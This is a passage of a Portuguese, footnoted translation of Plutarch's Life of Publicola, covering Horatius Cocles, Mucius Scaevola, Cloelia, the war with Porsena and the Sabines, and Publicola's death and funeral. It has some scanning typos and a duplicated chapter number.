XXVI. Alguns dias depois, na cidade de Veios, realizou-se um solene jôgo de prêmios de corrida de cavalos, no qual tôdas as outras belas coisas se fizeram como de costume; mas, terminado o jôgo, aquê-le que obtivera o prêmio, tendo sido coroado pela vitória, como é de uso ordinário, conduzia a carrêta e os cavalos muito tranqüilamente fora do parque da liça, e de súbito os cavalos, sem que se percebesse por que motivo, se espantaram, ou por acaso, ou por expressa inspiração divina, e correram de brida solta com a carrêta para a cidade de Roma. No comêço, o cocheiro fêz tudo o que pôde para detê-los, puxando a rédea, acariciando-os e segurando-os com a voz; mas, por fim, vendo que não podia pôr ordem nisso, deixou-se levar pela impetuosidade até perto do Capitólio, onde o derrubaram com a carrêta perto da porta que se chama agora Ratúmena (11): com o que os Veientes, grandemente impressionados e assombrados, permitiram que os operários entregassem aos Romanos a carrêta de terracota que haviam feito.

XXVII. Mas, quanto ao templo de Júpiter Capitolino, o primeiro rei Tarqüínio, filho de Dema-rato, votou fazê-lo edificar numa guerra que teve contra os Sabinos, e Tarqüínio o Soberbo, sendo filho ou neto daquele que o votara, edificou-o; mas não o dedicou, porque foi expulso de seu estado antes de o haver acabado inteiramente. E, quando ficou de todo pronto, com todos os ornamentos, e embelezamentos, Publícola desejou muito ter a honra de o dedicar; mas os principais do Senado invejaram-lhe essa glória, aborrecidos porque êle não se contentava com tantas honras que adquirira, tanto na paz, pelas ordenanças que fizera, como na guerra, pelas vitórias que alcançara (o que bem merecia) mas que desejasse ainda ter a honra de tal dedicação, que não lhe pertencia. Assim impeliram e incitaram Horácio a pretendê-lo; e, tendo advindo a ocasião em que era necessariamente preciso que Publí-cota conduzisse o exército Romano aos campos, eles fizeram, pelos sufrágios do povo, dar a Horácio a autoridade de o consagrar, enquanto Publícola esta va ausente, estimando que não lhe poderiam fazer melhor presente, e o levaram até ao Capitólio para isso fazer. Dizem outros que os cônsules tiraram entre si a sorte e que a Publícola coube conduzir o exército contra a própria vontade, e a Horácio consagrar o templo, o que se pode conjecturai- pelo que sucedeu nessa dedicação. No décimo-quinto (12) dia do mês de setembro, que é aproximadamente o plenilúnio do mês que os Gregos chamam de Metagítnion, estando todo o povo reunido no Capitólio em grande silêncio e tendo Horácio feito tôdas as outras cerimônias requeridas em tal assunto, e segundo já as portas do templo, como é costume, no momento em que ia pronunciar as solenes palavras da dedicação, o irmão de Publicola, Marco Valério, que havia muito tempo estava junto à porta do templo, espiando e aguardando a ocasião, pôs-se a dizer em voz bem alta: «Senhor cônsul, teu filho morreu doente no campo.» Essa notícia desagradou grandemente a todos os assistentes que a ouviram, mas o cônsul não se perturbou e limitou-se a responder: «Tirai de lá o corpo para onde quiserdes, pois quanto a mim não quero passar por outro sofrimento.» E continuou até ao fim a dedicação. Ora, a notícia não era verdadeira, mas fôra inventada por Marco Valério com o propósito de o fazer desistir da dedicação: no que Horácio se mostrou de grande constância, ou porque tivesse prontamente percebido que era uma fraude, ou porque, embora crendo-a verdadeira, de nenhum modo se comoveu.

(11) Do nome de vencedor ali derrubado. Plínio, VII, 42. Essa porta não ficava onde se acha agora a porta Flamínia, ou porta del Popolo, mas perto do Capitólio, entre o Capitólio e o Tibre.
(12) E’ um êrro de Amyot. No grego, há o dia dos idos de setembro, que caem sempre no dia 13 de setembro. Metagítnion, que é o segundo mês do ano ateniense, não corresponde ao mês de setembro, mas ao de agosto. O plenilúnio ocorre nos idos dos meses de agosto e setembro, quando a ordem das luas é como no presente ano de 1783, pouco mais ou menos.

XXVIII. Aconteceu um caso quase semelhante na consagração do segundo templo (13), pois aquele primeiro que Tarqüinio edificara e Horácio consagrara foi consumido pelo fogo, ao tempo das guerras civis, e o segundo foi reconstruído por Sila, que não o dedicou, pois a inscrição da dedicação é de Catulo, porque Sila morreu antes de poder dedicá-lo; o segundo foi ainda queimado por ocasião das perturbações e tumultos que houve em Roma sob o imperador Vitélio; o terceiro foi inteiramente reedificado por Vespasiano, que teve a fortuna, entre outras, de o ver concluído e perfeito antes de morrer, e não destruído como aconteceu depois de sua morte, sobrepassando nisso a felicidade de Sila que morreu antes de poder dedicar aquele que edificara, ao passo que Vespasiano faleceu antes de ver o seu arrumado, pois todo o Capitólio foi completamente incendiado e queimado incontinenti após o seu trespasse; e esse quarto que vemos hoje foi edificado e dedicado por Domiciano.

(13) Na edição de Tácito eu fiz duas dissertações, uma sôbre o Capitólio e sua magnificência, outra sôbre as reconstruções feitas por Vespasiano e por Domiciano. Expliquei tudo o que respeita às construções, às dedicações, às despesas, às riquezas do templo de Júpiter. Vide Taciti Opera, tomo II, página 477 e seg., 415 e seg., edição in-4.

XXIX. Dizem que Tarqüínio, somente para fazer os fundamentos do primeiro, despendeu a soma de quarenta mil marcos de prata (14), mas desse que vemos em nosso tempo, todos os bens do mais rico homem privado que exista em Roma não forneceriam sequer para o que custou a douração, a qual montou a mais de sete milhões e duzentos mil escudos (15). As colunas ali existentes foram talhadas na pedreira do mármore Pentélico, e as vi em Atenas, onde eram muito bem proporcionadas da grossura à altura; mas depois foram retalhadas e repolidas em Roma, no que não adquiriram tanta graça quanto perderam de proporção, pois ficaram muito miúdas e despidas de tôda a primeira beleza.

XXX. Mas aquele que se maravilhasse da magnificência da estrutura do Capitólio, se viesse depois ver dentro do palácio de Domiciano alguma galeria ou algum pórtico, ou alguma sala, ou as estufas, ou os alojamentos de suas concubinas, diria, em méu aviso, o que o poeta Epicarmo disse do pródigo:

É vício teu o dar com profusão,
Pois nisso tens prazer sem reflexão.

Também se poderia em boa causa dizer de Domiciano: Tu não és magnífico nem devoto para com os deuses, mas é um vício que tens o gostar de construir, e desejadas, como se diz do antigo Midas, que tudo o que existe em tôrno de ti se tornasse ouro e pedra. Mas já se falou bastante a êsse propósito.

(14) Amyot se engana, tendo Dacier cometido o mesmo êrro. Plutarco assinala quarenta mil libras de pêso, medida romana, o que perfaz 2.514.500 libras francesas.
(15) No grego, doze mil talentos, que perfazem 65.3’62.500 libras francesas. Plutarco tem razão em notar que os bens do homem mais rico de Roma não montavam à soma que Domiciano despendera só com a douração do templo de Júpiter. Surpreende-me que Dacier se tenha enganado nesse ponto.

XXXI. Tarqüínio, então, após essa grande batalha na qual perdeu o filho, que combateu sozinho contra Bruto, retirou-se para a cidade de Clúsio, ao ladq do rei Porsena, que era o mais poderoso príncipe então existente em tôda a Itália, homem de boa natureza e de gentil coração. Porsena prometeu-lhe ajudá-lo e, primeiramente, enviou embaixadores a Roma para intimarem os habitantes a receberem seu rei, o que os Romanos recusaram fazer; mandou-lhes então declarar a guerra, com o tempo e o lugar para onde iria atacá-los, como de fato fêz com grande poderio.

XXXII. Publícola, estando ausente, foi eleito cônsul pela segunda vez (16) e com êle Tito Lucrécio. Retornando então a Roma para sobrepujar em grandeza de coragem a esse rei Porsena, pôs-se a construir uma cidade chamada Sigliúria (17), estando já o rei com seu exército bastante perto de Roma, e, tendo-a cercado de muralhas com grandes despesas, para ali enviou setecentos habitantes, para mostrar que se importava muito pouco com essa guerra; todavia, Porsena, à sua chegada, mandou atacar o monte Janículo tão vivamente que os guardas que ali tinham sido postos foram repelidos e, fugindo através de Roma, arrastaram atrás de si os inimigos, os quais teriam entrado desordenadamente entre êles, de modo que Publícola lhes saiu ao encontro, atacou-os numa grande escaramuça ao longo do rio Tibre e ali os deteve, depois que, por serem mais numerosos, tinham feito recuar os Romanos; até que, tendo sido muito ferido nessa escaramuça, foi levado nos braços de sua gente para dentro da cidade. Outro tanto fizeram semelhantemente ao outro cônsul Lucrécio, o que deixou os Romanos muito amedrontados e desencorajados, de tal maneira que se puseram a fugir para a cidade. Os inimigos os perseguiram vivamente até em cima da ponte de madeira, de forma que a cidade ficou em grande perigo de ser tomada de assalto; mas Horácio Cocles e com êle dois outros jovens dos mais nobres da cidade, Hermênio e Lucrécio (17ª), plantaram-se na própria ponte e fizeram face ao inimigo. Êsse Horácio foi sobrenomeado Cocles, que vale tanto como dizer zarolho, porque tinha perdido um ôlho na guerra; todavia, querem outros dizer que era por ser êle muito narigueta e ter o nariz de tal maneira afundado dentro da testa que não se via nada em sua face que lhe separasse os dois olhos, antes estavam os supercílios inteiramente conjuntos; por essa razão, o povo, cuidando sobrenomeá-lo Ciclope, por êrro de língua o nomeou, dizem eles, Cocles. Como quer que seja, êsse Horácio Cocles teve bem a ousadia de fazer face ao inimigo e sustentar a ponte até que ela se partisse e quebrasse atrás dêle. Tendo assim feito, lançou-se todo armado, e ferido na coxa por um golpe de pique toscano, dentro do rio Tibre, e salvou-se a nado até à outra margem. Eis porque Publícola, maravilhado com tão virtuoso ato, persuadiu prontamente os Romanos de que se cotizassem todos para lhe darem tanto quanto um dêles despedia em um dia (18); e depois ainda fêz que lhe fôsse dada publicamente tanta terra quanta êle pudesse lavrar nos arredores em um dia; e, além disso, ainda mandou que lhe fôsse erigida uma imagem de cobre dentro do templo de Vulcano, reconfor-tando por essa honra a debilitação da coxa onde êle tinha sido ferido e de que tinha ficado manco. Mas, como o rei Porsena se obstinasse em manter estreitamente o sítio de Roma, a penúria começou a trabalhar os Romanos; e assim sobreveio ainda outro exércjto da Toscana, que percorreu, pilhou e arruinou todo o território de Roma.

(16) No ano de Roma 246.
(17) Não se conhece essa cidade, nem a de Sincério, de que fala Dionísio de Halicarnasso.

(17ª) Tito Lívio e Dionísio de Halicarnasso dão-lhe o nome de Lárcio.

XXXIII. Eis porque Publícola, eleito cônsul pela terceira vez (19), estimou que para bem resistir a Porsena não era preciso senão manter-se quieto e tratar de bem guardar a cidade de Roma. Entrementes, tendo escolhido a ocasião própria, saiu secretamente fora da cidade com seu exército e foi encontrar os Toscanos que percorriam todo o plano país e os derrotou em batalha, tendo morto até ao número de cinco mil. Agora, quanto à história de Múcio, vários a contam diversamente; mas eu a escreverei da maneira que me parece mais verossímil. Êsse Múcio era homem de bem em tudo e por tudo, mas principalmente na guerra; e, procurando o meio de poder matar o rei Porsena, vestiu-se à guisa dos Toscanos e, falando bem a língua Toscana, foi até ao acampamento dêle, onde se aproximou da cadeira na qual dava audiência e, não o conhecendo com certeza, não ousou perguntar quem era, com receio de ser descoberto; assim tirou sua espada e com ela matou aquê-le que cuidava ser o rei. Imediatamente preso e interrogado, como ali houvesse um fogareiro cheio de fogo para o rei que queria sacrificar aos deuses, estendeu a mão direita sobre o fogo, encarando francamente Porsena entre os dois olhos, enquanto a carne de sua mão se tostava, com uma fisionomia constante e segura, sem de nenhum modo se mover, até que o rei, espantado de ver coisa tão estranha, mandou que o deixassem e êle próprio lhe deu sua espada. Múcio tomou-a com a mão esquerda, pelo que dizem haver tomado o nome de Cévola, que vale tanto como dizer canhoto, e lhe disse: «Tu não poderias vencer-me pelo mêdo, Porsena, e me venceste por honestidade, de modo que desejo revelar-te por amor uma coisa que jamais revelaria pela fôrça: há trezentos Romanos espalhados no teu acampamento, com a mesma vontade e o mesmo propósito que eu, não procurando senão o meio e a ocasião de poderem executá-lo: a sorte recaiu em mim e foi preciso que eu tentasse a fortuna em primeiro lugar; todavia, não lamento ter falhado no matar um homem de bem, que é digno de ficar antes amigo do que inimigo dos Romanos.» Porsena, tendo ouvido essas palavras, ajuntou-lhes fé e daí por diante começou de bom grado a prestar mais ouvido aos que iam falar-lhe de acordo, não tanto, em meu aviso, por medo que tivesse daqueles trezentos que espiavam os meios de poder matá-lo quanto por admiração pela grandeza de coragem dos Romanos. Todos os outros historiadores chamam a esse personagem Múcio Cévola, mas Atenodoro, sobrenomeado Sândon, numa história que dedicou a Otávia, irrnã de Augusto, diz que êle se chamava também Opsígono (20).

(18) Havia então cento e trinta mil cidadãos, como vimos no cap. XXIII. Nessa época de frugalidade romana, êles não despendiam mais de três soldos por cabeça. Trabalhavam com bois e não podiam, por conseguinte, trabalhar muito em um dia,
(19) No ano de Roma 247.

XXXV. Mas Publícola, estimando que o rei Porsena não era tão perigoso inimigo de Roma quanto seria aproveitável aliado e amigo, fêz-lhe saber que estava contente de o fazer a êle próprio juiz da diferença que êles tinham com Tarqüínio: o qual êle provocou por várias vêzes a vir debater judicialmente sua querela diante do rei Porsena; e provaria ser êle o mais perverso e mais desgraçado homem do mundo, tendo sido em bom direito expulso. Tarqüínio respondeu orgulhosamente que não queria que ninguém fôsse seu juiz e menos ainda Porsena do que qualquer outro, visto como, tendo-lhe prometido restabelecê-lo em seu estado, mudava já de vontade. Porseņa ficou indignado com essa resposta, jugando que era sinal bem certo de que êle tinha má causa. Diante disso, sendo ainda solicitado por seu próprio filho, chamado Arunte, que favorecia os Romanos, facilmente lhes outorgou a paz desde que êles lhe entregassem as terras que antes haviam conquistado dentro do país da Toscana, com os prisioneiros que haviam feito nessa guerra, em troca dos quais lhes devolveu também entre suas mãos os da cidade que tinham ido entregar-se a êle: para segurança dêsse acordo, os Romanos deram dez nobres filhos das melhores casas da cidade e outras tantas filhas, entre as quais estava Valéria, a própria filha de Publícola.

(20) Póstumo.

XXXV. Assim firmado o acordo e tendo já Porsena desfeito o seu exército e tôda equipagem de guerra, para confiança da paz, as moças Romanas, que tinham sido entregues como reféns, desceram à borda do rio para se lavarem, num lugar onde o rio se curvava em forma de crescente, dentro do qual a água estava muito pacífica, sem estar agitada nem perturbada por vagas quaisquer; quando lá chegaram e viram que não havia guardas em tôrno delas, nem passantes, nem barcos subindo ou descendo, deu-lhes vontade de atravessar a nado o rio, que era muito frígido e muito profundo. Assim dizem alguns que houve uma, chamada Clélia, que passou sôbre um cavalo, segurando e encorajando as outras que passavam a nado de ambos os lados dela; e, tendo assim passado a água, foram apresentar-se diante do cônsul Publícola, o qual não as louvou pelo que haviam feito, nem com isso se mostrou contente, an-tes se desgostou, temendo se estimasse que era menos zeloso no guardar sua fé do que o rei Porsena e se pudesse suspeitar que a ousadia daquelas moças fosse uma astúcia e malícia dos Romanos; portanto, fêz que todas fossem incontinenti reconduzidas a Porsena, Disso advertido, Tarqüínio, preparou uma emboscada para aqueles que as conduziam; e, logo que estes passaram o rio, pôs-se a persegui-los, pois eram em muito menor número, não obstante se defendessem; mas, enquanto combatiam, Valéria, a filha de Publícola e três de seus servidores escaparam através dos combatentes e se salvaram, tendo as outras ficado no meio das armas, não sem grande perigo para suas pessoas; disso advertido, Arunte, o filho de Porsena, acorreu incontinenti, mas à sua chegada os inimigos puseram-se em fuga, e os Romanos acabaram de reconduzir suas reféns. Porsena, revendo-as, perguntou qual delas tinha começado a passar em primeiro lugar e encorajado as outras a fazerem o mesmo: mostraram-lha e disseram-lhe que se chamava Clélia. Êle olhou-a alegremente e mandou que lhe levassem um dos melhores cavalos de sua coudelaria, com os mais belos e mais ricos arneses que ali houvesse, e lhos deu. Os que sustentam não ter havido senão Clélia na passagem do rio a cavalo alegam isso tomo testemunho do seu dizer; outros o negam, dizendo que o rei Toscano quis somente honrar sua viril magnanimidade. Como quer que seja, vê-se ainda a imagem a cavalo na rua sagrada por onde se vai ao palácio; e dizem uns que é a estátua de Valéria, outros a de Clélia,

XXXVI. Mas Porsena, tendo feito a paz com os Romanos, ao retirar-se mostrou-lhes sua magnificência em várias outras coisas e, do mesmo modo, ao proibir que sua gente levasse nada além de suas armas somente, deixando o acampamento cheio de trigo, víveres e tôda sorte de bens: de onde resulta ainda hoje que, ao vender-se em leilão alguma coisa pertencente ao público, o oficial de justiça grita que são bens do rei Porsena, para render-lhe graças e honrar sua liberdade e beneficência com essa lembrança eterna, e assim há ainda hoje uma imagem dêle junto ao palácio onde se acha o Senado, feita de material muito grosseiro da antigüidade.

XXXVII. Depois, tendo os Sabinos entrado em armas dentro do país dos Romanos, Marco Valério, irmão de Publícola, foi eleito cônsul (21) com Postú-mio Tuberto; mas, não obstante isso, todas as coisas de grande conseqüência se faziam segundo o conselho e a autoridade de Publícola, que a tudo estava presente; e, por seu intermédio, Marco, seu irmão, ganhou duas grandes batalhas, na última das quais derrotou treze mil homens dos inimigos sem perder um só dos seus. Pelas quais vitórias, além da honra do triunfo alcançado, foi-lhe ainda edificada uma casa a expensas da coisa pública na região do monte Palatino, e foi-lhe permitido abrir sua porta para fora, da rua, quando tôdas as outras se abriam dentro da casa, querendo significar que na outorga dessa honra o público estava sempre compreendido. Dizem que as casas dos Gregos se abriam tôdas assim antigamente, e tal se conjectura pelas comédias nas quais aqueles que desejam sair de casa batem e fazem soar as portas por dentro das casas, a fim de que, se porventura houver alguém esperando do lado de fora, ou algum passante que se ache no lugar, ouvindo o ruído se ponha de lado, por medo de que a porta o atinja empurrando-o para a rua.

(21) No ano de Roma 249-

XXXVIII. No ano seguinte, Publícola foi eleito cônsul pela quarta vez (22), porque se esperava que os Sabinos e os Latinos começassem juntos a guerra; além disso, um temor supersticioso tinha invadido tôda a cidade, porque as mulheres grávidas davam à luz filhos quase todos defeituosos (23) e imperfeitos em alguma parte do corpo, e não havia nenhum que viesse a termo. Eis porque Publícola, mandando consultar os livros da Sibila, fez alguns sacrifícios particulares a Plutão e restabeleceu algumas festas e jogos solenes que outrora tinham sido injungidos pelo oráculo de Apoio, Tendo essas medidas regozijado um pouco a cidade com boa esperança, porque se pensou que a cólera dos deuses estivesse apaziguada, êle começou depois a prover aos perigos que os ameaçavam da parte dos homens, por isso que havia notícias de que inimigos lhes surgiam de todos os lados e faziam grandes preparativos para atacá-los. Ora, havia então entre os Sabinos um personagem chamado Ápio Clauso (24), homem muito rico e opulento em bens, forte e disposto de pessoa, e além disso o primeiro homem de sua nação em eloqüência e em reputação; mas o que costumei-ramente advém aos grandes personagens, o serem sujeitos à inveja, êle não pôde evitá-lo; se antes murmuravam contra êle, ainda aumentaram muito mais os murmúrios, quando cuidou de intrometer-se para desviar essa guerra que se queria começar contra os Romanos, dizendo os invejosos e malevolentes que êle procurava acrescer o poderio dos Romanos para depois, com seu auxílio, poder fazer-se tirano e senhor do país, O povo miúdo prestava de bom grado ouvidos a tais palavrórios, e bem sentia Ápio que era muito odiado pelos homens de guerra, de sorte que receava que o levassem à justiça; eis porque, tendo bom número de parentes, amigos adeptos e aderentes, promoveu uma sedição entre os Sabinos, o que foi causa do retardamento dessa guerra contra os Romanos. Publícola, de seu lado, se esforçava não só por entender as particularidades dessa sedição, mas também por aumentá-la e inflamá-la cada vez mais, tendo homens categorizados para fazê-lo, os quais levavam de sua parte tais palavras a Ápio, que Publícola bem sabia ser homem direito, incapaz de vingar-se de seus concidadãos em detrimento do país, ainda que pelas injustiças que lhe faziam lhe dessem grandes motivos para isso; mas, se pretendesse prover à segurança de sua pessoa e retirar-se para Roma, livrando-se das mãos daqueles que sem causa lhe queriam tão grande mal, seria recebido em público e em particular tão honrosamente como sua virtude o merecia e a magnificência do povo Romano o requeria. Clauso, tendo consultado longamente e por várias vêzes a si mesmo sobre êsses propósitos, concluiu afinal que era o melhor partido que podia tomar na necessidade em que se achava; e, tendo resolvido fazê-lo solicitou ainda a seus amigos que fizessem o mesmo, e êles ainda ganharam outros, de maneira que êle retirou das terras dos Sabinos cinco mil famílias (25), com mulheres e crianças, que então levou consigo para morarem em Roma. Era tudo quanto havia de gente dócil e amante do repouso da paz entre os Sabinos. Do que Publícola tendo sido bem advertido antes, os recebeu humanamente, com grande alegria e com tôda sorte de bom tratamento; pois deu, ao chegarem direito de burguesia a tôdas as suas famílias e distribuiu-lhes por cabeça dois arpentes de terra, ao longo do rio Teverone, e quanto a Ápio, deu-lhe vinte e cinco (26) e o recebeu no número dos senadores.

 

(22) No ano de Roma 250.
(23) Eis um fato de história natural bastante notável e ao qual eu não sei que ninguém tenha prestado atenção. E, preciso entretanto, recordar o aforismo de Hipócrates, III 12, para se ter disso a inteligência. Deve-se concluir daí que no ano 250 de Roma, 505 antes de Jesus Cristo, o inverno tinha sido chuvoso com ventos do meio-dia, e a primavera sêca com ventos do norte.
(24) Suetônio chama-lhe Ata Clauso. Tácito fala dêle em seus Anais, XI, 24. Vide as notas sôbre essa passagem e o belo monumento ainda existente em Lyon, por mim descrito. Taciti Opera, tomo II, pág. 20 e 348, edição in-4.
(25) Essas cinco mil famílias deveriam perfazer ao menos 20.000 pessoas, à razão de quatro cabeças por família, como devem ser contadas em uma nação sem luxo e que não procurava senão proliferar.
(26) Essa passagem merece atenção especial, porque nos permite saber qual era então a fortuna de um senador e a situação do povo. Cinco mil famílias, ao menos vinte mil pessoas, possuíam apenas dez mil arpentes de terra, e um senador vinte e cinco.

XXXIX. Eis aí como chegou êle ao governo da coisa pública em Roma, onde tão prudente e sà-biamente se comportou que por fim ali adquiriu o primeiro lugar em autoridade, crédito e dignidade, enquanto viveu; e depois lhe deixou a família dos Claudianos, descendentes deles, a qual em nobreza e em glória não cede a nenhuma outra casa antiga de Roma. Mas tendo sido apaziguada a dissensão entre os Sabinos pela retirada daqueles que tinham ido habitar em Roma, os sediciosos governadores não deixaram os outros viverem em paz, antes gritaram que isso seria enorme vergonha, que Clauso fugitivo e tornado inimigo fêz o que no presente não tinha podido obter, que os Romanos não fossem por êles punidos por erros e injúrias que lhes faziam. Assim reuniram um grande e poderoso exército, com o qual foram acampar perto da cidade de Fidenas e armaram uma emboscada bem perto de Roma, em certos lugares cobertos e esburacados, onde puseram dois mil homens a pé, todos bem escolhidos e bem armados, e deviam no dia seguinte de manhã mandar à frente, alguns a cavalo, correr até às portas de Roma, advertindo-os de que, quando os da cidade saíssem sôbre êles, fizessem menção de fugir, até os atraírem para o lugar onde estava a emboscada. Publícola ouviu isso, ponto por ponto, de um traidor que fôra entregar-se a êle: preveniu-se e preparou-se contra todos os espias, fazendo partir o seu exército; depois, deu a seu genro Postúmio Balbo três mil homens a pé, que êle fêz partir à tarde, e o enviou para tomar as colinas em cujas folhagens os Sabinos deviam esconder-se de emboscada. Seu companheiro no consulado, Lucrécio, tendo os mais ligeiros e mais dispostos jovens da cidade, foi mandado para fazer frente aos corredores e forrageiros, e êle com o restante do exército fêz um grande circuito para cercar os inimigos pela retaguarda. No dia seguinte de manhã, por acaso, fêz um nevoeiro muito espêsso; e, no mesmo instante, Postúmio, descendo das colinas com grandes gritos, atacou os que estavam de emboscada. Lucrécio, do outro lado, começou também a atacar os corredores, e Publícola penetrou no seu acampamento; de maneira que em todos os lugares os negócios dos Sabinos se portaram muito mal, pois foram batidos por tôda parte, e os Romanos os mataram em fuga, sem que eles voltassem o rosto para se porem em defesa, de sorte que isso em que eles punham a esperança de sua salvação se lhes tornou mortal derrota, porque cada uma de suas tropas, cuidando que as outras estivessem intaçtas, se dispersava quando iam atacá-la, e não havia nenhuma que lhes fizesse frente: aqueles que estavam dentro do acampamento corriam para os que se achavam de emboscada e, ao contrário, os da emboscada corriam para o acampamento, de tal maneira que, ao fugirem, chocavam uns com os outros e encontravam aquêles na direção dos quais fugiam, e cuidando estarem em segurança, tinham também grande necessidade de auxílio como eles próprios; e o que os livrou de serem todos postos em pedaços foi a cidade de Fidenas, que ficava perto, do mesmo modo que fugiram do acampamento quando este foi surpreendido; mas os que não puderam ganhar a cidade a tempo foram todos mortos no acampamento, ou aprisionados,

XL. A glória de tão feliz proeza, ainda que os Romanos se tenham acostumado a atribuir tôdas essas grandes coisas ao destino e referi-las ordinária-mente à graça dos deuses, foi contudo julgada então por eles como devia somente à providência do capitão, pois não se ouvia dizer outra coisa entre os que tinham entrado em ação, senão que Publícola lhes tinha entregue entre as mãos, para os matarem à vontade, os inimigos, coxos e cegos, e por assim dizer de mãos e pés atados e encerrados. O povo enriqueceu grandemente com essa vitória, tanto pelos outros despojos como pelo número de prisioneiros. E Publícola, após haver triunfado e pôsto o governo da cidade de Roma entre as mãos daqueles que tinham sido eleitos cônsules para o ano seguinte (27), morreu incontinenti, tendo usado seus dias em tudo o que os homens estimavam virtuoso e honroso, tanto quanto ao homem em vida é dado fazer. E o povo, como se durante sua vida não lhe houvesse prestado nenhuma honra e lhe fôsse ainda devedor de todos os bons ê grandes serviços por êle prestados em vida à coisa pública, ordenou que êle seria enterrado a expensas do público; de maneira que, para fazer-lhe os funerais, cada cidadão contribuiu com uma pequena peça de moeda, que se chama quatrim (28), e as mulheres também, para o honrarem à parte, decidiram entre si que durante um ano inteiro usariam luto por sua morte, que foi um luto muito honroso e muito glorioso em sua memória. Assim foi enterrado, por expressa ordenança do povo, dentro da cidade, na região que se chama Vélia (29); e foi também outorgado privilégio a tôda a sua posteridade para ser semelhantemente sepultada; todavia, ali não mais se enterra agora ninguém de. sua raça, mas, quando algum morre, o corpo é levado àquele lugar, onde alguém, segurando uma tocha ardente, coloca-a debaixo e depois a retira incontinenti, para mostrar que êles têm bem o privilégio de inumá-lo ali, mas que voluntàriamente desistem dessa honra; e, feito isso, levam o corpo para fora dali.

(27) O – ano de Roma 251.
(28) Um quarto de ás, um pouco mais de três soldos de libra francesa- Havia então em Roma cento e trinta mil cidadãos, como se viu no capítulo XXIII. Êsse povo tão frugal tinha já magnificência em seus funerais.
(29) Sobre o monte Palatino, no décimo bairro de Roma.

 

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